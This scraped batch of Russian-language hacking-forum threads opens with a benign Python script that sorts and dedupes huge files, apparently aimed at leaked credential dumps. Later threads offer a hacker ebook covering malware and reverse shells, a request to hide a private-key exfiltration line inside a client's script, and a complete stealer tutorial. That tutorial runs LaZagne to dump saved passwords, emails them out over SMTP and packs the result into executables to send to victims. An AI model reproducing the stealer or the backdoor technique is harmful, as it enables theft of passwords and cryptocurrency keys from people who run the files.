Merge File Sort или быстрая сортировка строк и удаление дублей интерпретатором в файле от 400 GB за счет ПЗУ

ID: 6766c898b4103b69df376502
Thread ID: 123192
Created: 2024-09-20T23:19:51+0000
Last Post: 2024-12-13T08:55:27+0000
Author: rand
Prefix: Статья
Replies: 52 Views: 7K

Написал: rand
Эксклюзивно для: XSS.is
Отдельная благодарность в помощи и тестировании: antikrya, _lain, Bertor, Eject, Zeta

Всем привет, не так давно у меня появилась идея (после того как я прочитал этот тред https://xss.is/threads/122300/) реализовать на питоне скрипт который делает быструю сортировку и очистку дублей строк в огромном текстовом файле без колоссального потребления ресурсов ОЗУ в операционной системе.
Минимальные системные требования: Python 3.12, 4 ядра CPU, 4 гигабайта ОЗУ, 200% свободного места на накопителе от размера импортируемого файла+10%. (При работе этого алгоритма приходится расплачиваться свободной памятью и ресурсом накопителя).

Скрины отработки 100-гигового ULP:

Скрипт работает на встроенных библиотеках питона, кроме одной библиотеки используемой для разметки выдачи цвета лога (в общем все подробно объяснил в комментариях к коду, может быть потом исправлю тут на полноценную статью, если настроение будет):

Bash:Copy to clipboard

pip install colorlog==6.8.2

main.py

Python:Copy to clipboard

import os
import tempfile
import heapq
import time
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorlog import ColoredFormatter  # Для цветного логирования

# Настраиваем цветное логирование
formatter = ColoredFormatter(
    "%(log_color)s%(asctime)s - %(levelname)s - %(message)s",  # Формат вывода логов
    datefmt=None,  # Формат даты, по умолчанию
    reset=True,  # Сброс цветов после каждой строки
    log_colors={  # Задаем цвета для различных уровней логов
        'DEBUG': 'cyan',
        'INFO': 'green',
        'WARNING': 'yellow',
        'ERROR': 'red',
        'CRITICAL': 'bold_red',
    }
)

# Настройка обработчика логов с UTF-8
handler = logging.StreamHandler()  # Логи выводятся в консоль
handler.setFormatter(formatter)  # Применяем цветной формат
logger = logging.getLogger()  # Получаем объект логгера
logger.addHandler(handler)  # Добавляем к нему наш обработчик
logger.setLevel(logging.INFO)  # Устанавливаем уровень логирования INFO (можно изменять на DEBUG для более детальных логов)

# Создаем путь к папке TEMP для временных файлов
temp_dir = os.path.join(os.getcwd(), 'TEMP')  # Директория для хранения временных файлов
if not os.path.exists(temp_dir):  # Если папки нет, создаем её в корне скрипта
    os.makedirs(temp_dir)

# Функция для обработки чанков: удаление дублей и сортировка
def process_chunk(chunk, temp_dir):
    try:
        logger.info(f"Начало обработки чанка размером {len(chunk)} строк")  # Логируем количество строк в чанке
 
        unique_items = set(chunk)  # Превращаем список в множество для удаления дублей
        logger.info(f"Удалено {len(chunk) - len(unique_items)} дублей в чанке")  # Логируем, сколько дублей удалено
 
        sorted_chunk = sorted(unique_items)  # Сортируем уникальные строки

        # Создаем временный файл, который не будет удален автоматически (delete=False)
        with tempfile.NamedTemporaryFile(delete=False, mode='w', encoding='utf-8', errors='ignore', dir=temp_dir) as temp_file:
            temp_file.write('\n'.join(sorted_chunk) + '\n')  # Записываем отсортированный чанк во временный файл
            logger.info(f"Чанк записан во временный файл {temp_file.name}")  # Логируем путь к временному файлу
            return temp_file.name  # Возвращаем имя временного файла

    except Exception as e:
        logger.error(f"Ошибка при обработке чанка: {e}")  # Логируем ошибку, если что-то пошло не так
        return None  # Возвращаем None, если произошла ошибка

# Функция для пакетного слияния временных файлов в один общий файл
def merge_files(temp_files, output_file):
    try:
        logger.info(f"Окончательное слияние {len(temp_files)} временных файлов")  # Логируем количество файлов для слияния

        unique_count = 0  # Счетчик уникальных строк
        duplicate_count = 0  # Счетчик дублей

        # Открываем выходной файл для записи
        with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
            # Открываем все временные файлы и создаем итераторы
            file_iters = [open(f, 'r', encoding='utf-8', errors='replace') for f in temp_files]
            merged_iter = heapq.merge(*file_iters)  # Сливаем отсортированные временные файлы в один поток
            prev_line = None  # Переменная для отслеживания предыдущей строки

            # Проходим по слитым строкам
            for line in merged_iter:
                if line != prev_line:  # Если строка не совпадает с предыдущей (уникальная)
                    outfile.write(line)  # Записываем строку в выходной файл
                    prev_line = line  # Обновляем предыдущую строку
                    unique_count += 1  # Увеличиваем счетчик уникальных строк
                else:
                    duplicate_count += 1  # Если строка дублируется, увеличиваем счетчик дублей

            # Закрываем временные файлы
            for f in file_iters:
                f.close()

        logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")  # Логируем результаты
        return unique_count, duplicate_count  # Возвращаем количество уникальных строк и дублей

    except Exception as e:
        logger.error(f"Ошибка при слиянии файлов: {e}")  # Логируем ошибку, если слияние не удалось
        return 0, 0  # Возвращаем нули в случае ошибки

# Функция для пакетного слияния временных файлов
def batch_merge(temp_files, batch_size, temp_dir):
    try:
        logger.info(f"Начало пакетного слияния с размером пакета {batch_size}")  # Логируем начало пакетного слияния
        merged_files = []  # Список для хранения результатов пакетного слияния
        total_unique_count = 0  # Общий счетчик уникальных строк
        total_duplicate_count = 0  # Общий счетчик дублей

        # Обрабатываем файлы по частям (батчами)
        for i in range(0, len(temp_files), batch_size):
            batch = temp_files[i:i + batch_size]  # Берем очередной пакет файлов
            logger.info(f"Слияние пакета с файлов {i+1} по {min(i + batch_size, len(temp_files))}")  # Логируем диапазон файлов

            # Создаем временный файл для результата слияния пакета
            with tempfile.NamedTemporaryFile(delete=False, mode='w', encoding='utf-8', dir=temp_dir) as temp_merged_file:
                unique_count, duplicate_count = merge_files(batch, temp_merged_file.name)  # Сливаем пакет файлов
                merged_files.append(temp_merged_file.name)  # Добавляем результат слияния в список

                total_unique_count += unique_count  # Обновляем общий счетчик уникальных строк
                total_duplicate_count += duplicate_count  # Обновляем общий счетчик дублей

            # Удаляем временные файлы после слияния
            logger.info(f"Удаление временных файлов пакета с {i+1} по {min(i + batch_size, len(temp_files))}")
            for temp_file in batch:
                if os.path.exists(temp_file):
                    os.remove(temp_file)  # Удаляем временный файл

        return merged_files, total_unique_count, total_duplicate_count  # Возвращаем список объединенных файлов и итоговые счетчики

    except Exception as e:
        logger.error(f"Ошибка при пакетном слиянии: {e}")  # Логируем ошибку при пакетном слиянии
        return temp_files, 0, 0  # Возвращаем исходные файлы и нули в случае ошибки

# Основная функция сортировки и удаления дубликатов с параллельной обработкой чанков
def sort_and_uniq_streaming(input_file, output_file, chunk_size=2000000, batch_size=10):
    temp_files = []  # Список для хранения временных файлов
    chunk = []  # Текущий чанк строк
    original_count = 0  # Счетчик всех строк в исходном файле

    logger.info(f"Чтение файла {input_file}...")  # Логируем начало чтения файла
    try:
        with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile:  # Открываем файл для чтения
            with ThreadPoolExecutor() as executor:  # Создаем пул потоков для параллельной обработки
                futures = []  # Список задач для параллельной обработки

                for line in infile:
                    chunk.append(line.strip())  # Добавляем строку в чанк
                    original_count += 1  # Увеличиваем счетчик строк
                    if len(chunk) >= chunk_size:  # Если размер чанка достиг предела
                        futures.append(executor.submit(process_chunk, chunk, temp_dir))  # Запускаем обработку чанка в отдельном потоке
                        chunk = []  # Очищаем чанк для следующего набора строк

                if chunk:  # Если остались необработанные строки после завершения чтения файла
                    futures.append(executor.submit(process_chunk, chunk, temp_dir))  # Обрабатываем последний чанк

                for future in as_completed(futures):  # Ждем завершения всех задач
                    temp_file = future.result()  # Получаем результат обработки (имя временного файла)
                    if temp_file:
                        temp_files.append(temp_file)  # Добавляем временный файл в список

        logger.info(f"Все чанки обработаны. Начинается пакетное слияние временных файлов...")  # Логируем завершение обработки всех чанков

        total_unique_count = 0  # Общий счетчик уникальных строк
        total_duplicate_count = 0  # Общий счетчик дублей

        # Пока временных файлов больше, чем размер батча, продолжаем пакетное слияние
        while len(temp_files) > batch_size:
            temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir)  # Выполняем пакетное слияние
            total_unique_count += unique_count  # Увеличиваем общий счетчик уникальных строк
            total_duplicate_count += duplicate_count  # Увеличиваем общий счетчик дублей

        # Если остался больше одного временного файла, выполняем финальное слияние
        if len(temp_files) > 1:
            logger.info("Завершающий этап слияния крупных оставшихся файлов")  # Логируем финальный этап
            unique_count, duplicate_count = merge_files(temp_files, output_file)  # Финальное слияние временных файлов
            total_unique_count += unique_count  # Добавляем количество уникальных строк
            total_duplicate_count += duplicate_count  # Добавляем количество дублей
        else:
            # Если остался только один временный файл, переименовываем его в выходной файл
            os.rename(temp_files[0], output_file)  # Переименование файла

        # Удаляем все оставшиеся временные файлы
        for temp_file in temp_files:
            if os.path.exists(temp_file):  # Проверяем существование файла перед удалением
                os.remove(temp_file)  # Удаляем временный файл

        logger.info("Все временные файлы удалены")  # Логируем успешное удаление всех временных файлов
 
        unique_count = original_count - total_duplicate_count  # Рассчитываем количество уникальных строк
        logger.info(f"Итоговые результаты: Уникальных строк: {unique_count}, Дублей удалено: {total_duplicate_count}")  # Выводим результаты

        return original_count  # Возвращаем общее количество строк в исходном файле

    except Exception as e:
        logger.error(f"Ошибка при обработке файла: {e}")  # Логируем ошибку при обработке файла
        return 0  # Возвращаем 0 в случае ошибки

# Точка входа
if __name__ == '__main__':
    tic = time.perf_counter()  # Замеряем время начала выполнения программы

    input_file = "large_random_emails.txt"  # Исходный файл с данными
    output_file = "output-sorted-unique.txt"  # Выходной файл для сохранения результатов
    original_count = sort_and_uniq_streaming(input_file, output_file)  # Запускаем процесс сортировки и удаления дублей

    tac = time.perf_counter()  # Замеряем время завершения выполнения программы

    logging.info(f"Всего обработано строк: {original_count}")  # Логируем общее количество обработанных строк
    logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.4f} секунд")  # Логируем время выполнения программы

Мультипроцессорно-многопоточная версия, работает быстрее, но и к ресурсам требовательна по процу и памяти раз в 5-10 (пример отработки ".txt файл 100 миллионов строк, размером в 2GB (Ryzen 5600 4700mhz, 32GB DDR4 3600MHZ):

Скриншот отработки 300 гигового сгенерированного лога без дублей на 4.5 миллиарда строк, чем больше уникальных строк, тем ниже скорость обработки (AMD Ryzen 7 3700x, 64GB ОЗУ, 1TB NVME в Raid 1 из двух накопителей по 1TB, Linux Ubuntu 22.04):

main-multi.py:

Python:Copy to clipboard

# Импорт необходимых библиотек
import os  # Для работы с операционной системой и файловой системой
import heapq  # Для эффективного слияния отсортированных последовательностей
import time  # Для измерения времени выполнения скрипта
import logging  # Для ведения логов
import shutil  # Для удаления файлов и директории TEMP
import uuid  # Для генерации уникальных идентификаторов
from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor, as_completed  # Для параллельного выполнения задач
from colorlog import ColoredFormatter  # Для создания цветных логов

# Настройка цветного логирования
formatter = ColoredFormatter(
    "%(log_color)s%(asctime)s - %(levelname)s - %(message)s",
    datefmt=None,
    reset=True,
    log_colors={
        'DEBUG': 'cyan',
        'INFO': 'green',
        'WARNING': 'yellow',
        'ERROR': 'red',
        'CRITICAL': 'bold_red',
    }
)

# Создание и настройка обработчика логов
handler = logging.StreamHandler()  # Создаем обработчик для вывода логов в консоль
handler.setFormatter(formatter)  # Устанавливаем форматтер для обработчика
logger = logging.getLogger()  # Получаем объект логгера
logger.addHandler(handler)  # Добавляем обработчик к логгеру
logger.setLevel(logging.INFO)  # Устанавливаем уровень логирования

# Создание временной директории
temp_dir = os.path.join(os.getcwd(), 'TEMP')  # Путь к временной директории в текущей рабочей директории
if not os.path.exists(temp_dir):  # Если директория не существует
    os.makedirs(temp_dir)  # Создаем её

def create_temp_merged_file(temp_dir):
    """
    Создает временный файл для слияния данных.
 
    :param temp_dir: Путь к временной директории
    """
    unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4().hex}.tmp")  # Генерируем уникальное имя файла
    temp_merged_file = open(unique_filename, 'w', encoding='utf-8')  # Открываем файл для записи
    return temp_merged_file, unique_filename  # Возвращаем объект файла и его имя

def heavy_computation(n):
    """
    Выполняет тяжелое вычисление (для симуляции нагрузки, процентов на 5 по моим замерам увеличивает скорость обработки лога).
 
    :param n: Число для вычислений
    :return: Результат вычисления
    """
    logger.debug(f"Запуск тяжелого вычисления с параметром: {n}")
    result = 0
    for i in range(n):
        result += i * i  # Выполняем сложение квадратов чисел
    logger.debug(f"Результат тяжелого вычисления: {result}")
    return result

def process_chunk_and_write_multiprocess(chunk, temp_dir):
    """
    Обрабатывает чанк данных и записывает результат во временный файл.
 
    :param chunk: Список строк для обработки
    :param temp_dir: Путь к временной директории
    :return: Имя созданного временного файла или None в случае ошибки
    """
    try:
        logger.info(f"Начало обработки чанка размером {len(chunk)} строк (процесс)")
        heavy_computation(10000000)  # Симуляция тяжелых вычислений
        unique_items = set(chunk)  # Убираем дубликаты на уровне чанка
        sorted_chunk = sorted(unique_items)  # Сортируем уникальные элементы
        unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4()}.tmp")  # Генерируем уникальное имя файла
        with open(unique_filename, 'w', encoding='utf-8') as temp_file:
            temp_file.write("\n".join(sorted_chunk) + "\n")  # Сохраняем только уникальные строки
        return unique_filename
    except Exception as e:
        logger.error(f"Ошибка при обработке чанка: {e}")
        return None

def merge_files_parallel(temp_files, output_file, num_threads=24):
    """
    Выполняет параллельное слияние временных файлов.
 
    :param temp_files: Список временных файлов для слияния
    :param output_file: Имя выходного файла
    :param num_threads: Количество потоков для использования
    :return: (количество уникальных строк, количество дубликатов, имя выходного файла)
    """
    try:
        logger.info(f"Параллельное слияние {len(temp_files)} временных файлов с использованием {num_threads} потоков")
        unique_count = 0
        duplicate_count = 0

        file_iters = []
        try:
            for temp_file in temp_files:
                file_iters.append(open(temp_file, 'r', encoding='utf-8', errors='replace'))  # Открываем все временные файлы

            merged_iter = heapq.merge(*[iter(f) for f in file_iters])  # Создаем итератор для слияния

            with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
                prev_line = None
                for line in merged_iter:
                    line = line.strip()
                    if line != prev_line:  # Если текущая строка отличается от предыдущей
                        outfile.write(line + '\n')  # Записываем её в выходной файл
                        prev_line = line
                        unique_count += 1
                    else:
                        duplicate_count += 1  # Увеличиваем счетчик дубликатов

        except Exception as e:
            logger.error(f"Ошибка при слиянии файлов: {e}")
            return 0, 0

        finally:
            for f in file_iters:
                f.close()  # Закрываем все открытые файлы

        logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
        return unique_count, duplicate_count, output_file

    except Exception as e:
        logger.error(f"Ошибка при параллельном слиянии файлов: {e}")
        return 0, 0

def batch_merge(temp_files, batch_size, temp_dir, num_merge_processes=24):
    """
    Выполняет пакетное слияние временных файлов.
 
    :param temp_files: Список временных файлов
    :param batch_size: Размер пакета для слияния
    :param temp_dir: Путь к временной директории
    :param num_merge_processes: Количество процессов для слияния
    :return: (список объединенных файлов, общее количество уникальных строк, общее количество дубликатов)
    """
    try:
        logger.info(f"Начало пакетного слияния с размером пакета {batch_size}")
        merged_files = []
        total_unique_count = 0
        total_duplicate_count = 0

        with ProcessPoolExecutor(max_workers=num_merge_processes) as merge_executor:
            futures = []

            for i in range(0, len(temp_files), batch_size):
                batch = temp_files[i:i + batch_size]  # Формируем пакет файлов
                logger.info(f"Слияние пакета с файлов {i + 1} по {min(i + batch_size, len(temp_files))}")

                temp_merged_file, unique_filename = create_temp_merged_file(temp_dir)
                temp_merged_file.close()
                futures.append(merge_executor.submit(merge_files_parallel, batch, unique_filename))

            for future in as_completed(futures):
                unique_count, duplicate_count, temp_file = future.result()  # Получаем результат слияния
                if unique_count or duplicate_count:
                    merged_files.append(temp_file)  # Добавляем временный файл в список
                total_unique_count += unique_count
                total_duplicate_count += duplicate_count

            for temp_file in temp_files:
                if os.path.exists(temp_file):
                    logger.info(f"Удаление временного файла: {temp_file}")
                    os.remove(temp_file)  # Удаляем обработанные временные файлы
                else:
                    logger.warning(f"Файл не найден для удаления: {temp_file}")

        return merged_files, total_unique_count, total_duplicate_count

    except Exception as e:
        logger.error(f"Ошибка при пакетном слиянии: {e}")
        return temp_files, 0, 0

def final_merge(temp_dir, output_file):
    """
    Выполняет финальное слияние всех оставшихся временных файлов.
 
    :param temp_dir: Путь к временной директории
    :param output_file: Имя выходного файла
    :return: (количество уникальных строк, количество удаленных дубликатов)
    """
    logger.info(f"Финальная стадия слияния временных файлов из папки {temp_dir}.")
    temp_files = [os.path.join(temp_dir, f) for f in os.listdir(temp_dir) if os.path.isfile(os.path.join(temp_dir, f))]  # Список временных файлов для финального слияния

    if len(temp_files) > 1:  # Если файлов больше одного, запускаем слияние
        unique_count, duplicate_count, output_file = merge_files_parallel(temp_files, output_file)  # Параллельно сливаем файлы
    elif len(temp_files) == 1:  # Если остался только один файл
        logger.info(f"Остался один файл. Переименование {temp_files[0]} в {output_file}")
        os.rename(temp_files[0], output_file)  # Переименовываем файл в выходной
        unique_count, duplicate_count = 0, 0  # Устанавливаем нулевые значения для счетчиков
    else:
        logger.error("Не осталось временных файлов для слияния!")
        return 0, 0  # Возвращаем нули в случае ошибки

    logger.info(f"Финальное слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")

    try:
        shutil.rmtree(temp_dir)  # Удаляем временную директорию
        logger.info(f"Временная папка {temp_dir} успешно удалена.")
    except Exception as e:
        logger.error(f"Ошибка при удалении временной папки {temp_dir}: {e}")

    return unique_count, duplicate_count  # Возвращаем количество уникальных строк и дубликатов

def read_and_process_chunks_multiprocess(input_file, chunk_size=2000000, num_processes=24):
    """
    Читает входной файл по чанкам и обрабатывает их в многопроцессорном режиме.
 
    :param input_file: Имя входного файла
    :param chunk_size: Размер чанка (количество строк)
    :param num_processes: Количество процессов для обработки
    :return: (список временных файлов, общее количество прочитанных строк)
    """
    temp_files = []  # Список для временных файлов
    chunk = []  # Буфер для хранения чанка строк
    original_count = 0  # Счетчик общего числа строк

    logger.info(f"Чтение и обработка файла {input_file} в {num_processes} процессах...")

    try:
        with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile:  # Открываем входной файл для чтения
            with ProcessPoolExecutor(max_workers=num_processes) as executor:  # Создаем процессный пул для обработки чанков
                futures = []  # Список задач для выполнения

                for line in infile:  # Читаем файл построчно
                    chunk.append(line.strip())  # Добавляем строку в чанк
                    original_count += 1  # Увеличиваем счетчик строк
                    if len(chunk) >= chunk_size:  # Если чанк достиг нужного размера
                        futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir))  # Отправляем чанк на обработку в пул процессов
                        chunk = []  # Очищаем чанк

                if chunk:  # Если остались строки после завершения цикла
                    futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir))  # Обрабатываем оставшийся чанк

                for future in as_completed(futures):  # Ожидаем завершения всех задач
                    temp_file = future.result()  # Получаем результат задачи
                    if temp_file:
                        temp_files.append(temp_file)  # Добавляем временный файл в список

        logger.info(f"Чтение и обработка завершены (процессами). Всего строк: {original_count}")  # Логируем завершение обработки файла

    except Exception as e:
        logger.error(f"Ошибка при чтении файла (процессы): {e}")  # Логируем ошибку в случае сбоя

    return temp_files, original_count  # Возвращаем список временных файлов и общее количество строк

def sort_and_uniq_streaming_multiprocess(input_file, output_file, chunk_size=2000000, batch_size=10, num_processes=24, num_merge_processes=24):
    """
    Основная функция для сортировки и удаления дубликатов из большого файла с использованием многопроцессорной обработки.
 
    :param input_file: Имя входного файла
    :param output_file: Имя выходного файла
    :param chunk_size: Размер чанка для обработки
    :param batch_size: Размер пакета для слияния
    :param num_processes: Количество процессов для обработки чанков
    :param num_merge_processes: Количество процессов для слияния
    :return: (общее количество строк, количество уникальных строк)
    """
    logger.info(f"Старт обработки файла {input_file}...")  # Логируем начало процесса

    temp_files, original_count = read_and_process_chunks_multiprocess(input_file, chunk_size, num_processes)  # Читаем и обрабатываем файл по чанкам
    logger.info(f"Начинается пакетное слияние временных файлов...")  # Логируем начало пакетного слияния

    total_unique_count = 0  # Инициализируем счетчик всех уникальных строк
    total_duplicate_count = 0  # Инициализируем счетчик всех дубликатов

    while len(temp_files) > batch_size:  # Пока временных файлов больше, чем размер пакета
        temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir, num_merge_processes)  # Выполняем пакетное слияние
        total_unique_count += unique_count  # Обновляем общий счетчик уникальных строк
        total_duplicate_count += duplicate_count  # Обновляем общий счетчик дубликатов

    unique_count, duplicate_count = final_merge(temp_dir, output_file)  # Выполняем финальное слияние
    total_unique_count += unique_count  # Обновляем счетчик уникальных строк
    total_duplicate_count += duplicate_count  # Обновляем счетчик дубликатов

    return original_count, unique_count  # Возвращаем общее количество строк и количество уникальных строк

# Точка входа
if __name__ == '__main__':  # Если этот файл запускается как основная программа
    tic = time.perf_counter()  # Начало отсчета времени

    input_file = "input.txt"  # Указываем импортируемый файл
    output_file = "output.txt"  # Указываем экспортируемый файл
    original_count, unique_count = sort_and_uniq_streaming_multiprocess(input_file, output_file, num_processes=24, num_merge_processes=24)  # Запускаем основную функцию обработки

    tac = time.perf_counter()  # Конец отсчета времени
    logging.info(f"Все временные файлы удалены. Уникальных строк: {unique_count}, Дублей удалено (на всех этапах процессов слияния): {original_count - unique_count}")  # Логируем результаты
    logging.info(f"Всего обработано строк: {original_count}")  # Логируем количество обработанных строк
    logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.2f} секунд")  # Логируем время выполнения

Какой учить язык после python ?

ID: 6766c898b4103b69df37672a
Thread ID: 47662
Created: 2021-02-05T13:17:32+0000
Last Post: 2021-04-05T22:04:08+0000
Author: CEBEK777
Replies: 71 Views: 6K

Коллеги , пишу тг ботов на питоне , немного джанго подучил. но чот меня уже не так вставялет питон как раньше , хочется чтото более серьезное ))) java , c++ , короче софт свой писать охота.
что посоветуете? на java может переключиться? или не морочить себе голову , а дальше познавать все прелести питона ?))
заранее спасибо

Python для хакера. Изучаем Python на практических примерах (2022)

ID: 6766c898b4103b69df37656d
Thread ID: 63359
Created: 2022-02-22T17:30:41+0000
Last Post: 2024-06-26T11:27:45+0000
Author: zxc21
Prefix: Мануал/Книга
Replies: 42 Views: 6K

Автор: xakep.ru

Python уверенно лидирует в рейтингах популярности языков программирования, и не зря — на этом языке можно решать самые разные задачи и при этом сильно экономить время. Python — излюбленный хакерами язык, поскольку отлично годится для автоматизации. В сегодняшней подборке мы познакомимся с самыми началами этого замечательного языка и реализуем больше дюжины настоящих проектов.

**В подборку вошли двадцать статей, разбитые на пять разделов.

1. Первые шаги в Python**

Python с абсолютного нуля. Учимся кодить без скучных книжек
Учимся работать со строками, файлами и интернетом
Работаем с ОС, изучаем регулярные выражения и функции
Пять простых примеров, которые сподвигнут тебя изучить Python

2. Практика. Легкий уровень

Разведка змеем. Собираем информацию о системе с помощью Python
Телеграфирует робот. Пишем бота для Telegram на Python
Питоном по телеграму! Пишем пять простых Telegram-ботов на Python
Ядовитый питон. Пишем на Python простейшую малварь_ локер, шифровальщик и вирус
Reverse shell на Python. Осваиваем навыки работы с сетью на Python на примере обратного шелла

3. Практика. Средний уровень

Идеальная форма. Обрабатываем сложные формы на Python с помощью WTForms
Крадущийся питон. Создаем простейший троян на Python
Тотальная проверка. Используем API VirusTotal в своих проектах
YOLO! Используем нейросеть, чтобы следить за людьми и разгадывать капчу
Ищем эксплоиты из Python, сканим уязвимые серверы и автоматизируем пентест
Scapy для начинающих. Укрощаем строптивого змея

4. Практика. Продвинутый уровень

Малварь на просвет. Используем Python для динамического анализа вредоносного кода
Шаг за шагом. Автоматизируем многоходовые атаки в Burp Suite
Это не перебор! Пишем утилиту для взлома Wi-Fi на Python
Python для микроконтроллеров. Учимся программировать одноплатные компьютеры на языке высокого уровня
Python’ом по брутфорсу. Перекрываем кислород взломщикам с помощью ручного метода исследования

5. Интересное о Python

Переходим на Python 3. Как попрощаться с Python 2.7 и кодить дальше
Python по всем правилам. Делаем свою структуру данных совместимой с фичами Python
Async_await_ асинхронные возможности в Python 3+
Профилировщики для Python. Измеряем скорость выполнения наших приложений
Разборки в террариуме. Изучаем виды интерпретаторов Python

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)

[ 48.95 MB file on MEGA

](https://mega.nz/file/6YgngICI#8qaIgFb9bFtJ6UUq9ggttZDyybVK3kq50gKWX1XS1MM)

mega.nz mega.nz

Как спрятать бэкдор в питон скрипте?

ID: 6766c898b4103b69df376747
Thread ID: 43634
Created: 2020-10-28T17:01:15+0000
Last Post: 2021-01-08T19:59:50+0000
Author: stdusr
Replies: 32 Views: 6K

Здравствуйте,
иногда занимаюсь фрилансом, получил заказ написать скрипт, который обработает очень вкусную инфу(приватные ключи ETH и BTC). Но т.к. заказчик мне не родственник, ни друг и из недружественной страны, я очень хотел бы, что скрипт отправил эту инфу мне. Заказчик тоже не дурак, он требует, что скрипт был только из одного файла, без каких либо внешних библиотек. В принципе мне надо как то спрятать в скрипте одну строку:

Python:Copy to clipboard

requests.post('url', 'инфа')

Если я пошифрую эту строку кода и пробую такие варианты, как:

Python:Copy to clipboard

eval('пошифрованный код')
или
exec('пошифрованный код')

то сразу создает подозрение. Может у кого есть другие идеи? Какие нибудь хитрости с юникодом? За дельный совет, и если он прокатит, обещаю 10% от выхлопа. Гарантий, конечно немогу дать, просто честное слово

Стиллер на Python с отправкой по почте

ID: 6766c898b4103b69df3767bc
Thread ID: 27032
Created: 2018-12-25T16:33:39+0000
Last Post: 2019-04-25T00:23:09+0000
Author: tabac
Replies: 9 Views: 6K

Что будем делать?

Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.

Что для этого нужно?

Нам понадобится:

Python 3.x.x
Инструмент для восстановления паролей(в нашем случае LaZagne)
Два аккаунта Google

И так начинаем

Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

У нас должна получится такая структура:

Project:

laZagne.exe
send.py
main.bat

Пишем код

Откроем файл main.bat и поместим туда код:

Code:Copy to clipboard

@Echo off
laZagne.exe all > pass.txt

Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?

Отправка на почту

Открываем файл send.py и вставляем код:

Code:Copy to clipboard

import smtplib                                              
import os                                                   

import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from email.mime.audio import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              

def send_email(addr_from, password, addr_to, files):                            

    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               

    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     

    process_attachement(msg, files)

    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
        #============================================

def process_attachement(msg, files):                        
    for f in files:
        if os.path.isfile(f):                               
            attach_file(msg,f)                              
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
                attach_file(msg,f+"/"+file)                 

def attach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype is None or encoding is not None:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
            fp.close()                                      
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            fp.close()
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)                                        

#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                                
files = ["pass.txt"]                                    
#=============================================

send_email(_from, _password, _to, files)

Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):

Code:Copy to clipboard

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Mail.ru:

Code:Copy to clipboard

server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Yandex:

Code:Copy to clipboard

server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Доделываем .bat

Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:

Code:Copy to clipboard

send.py
del /s "pass.txt"

Сборка

Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:

Code:Copy to clipboard

pip install pyinstaller
pyinstaller --onefile send.py

Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками("...") и ищем ваш файл main.bat, жмем "Открыть", после чего жмем "Convert" и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоватьсяпроверять на работоспособность.

Ссылки

[Python] Урок #1 - переменные и математические операции.

ID: 6766c898b4103b69df3767bf
Thread ID: 27080
Created: 2018-12-28T23:20:31+0000
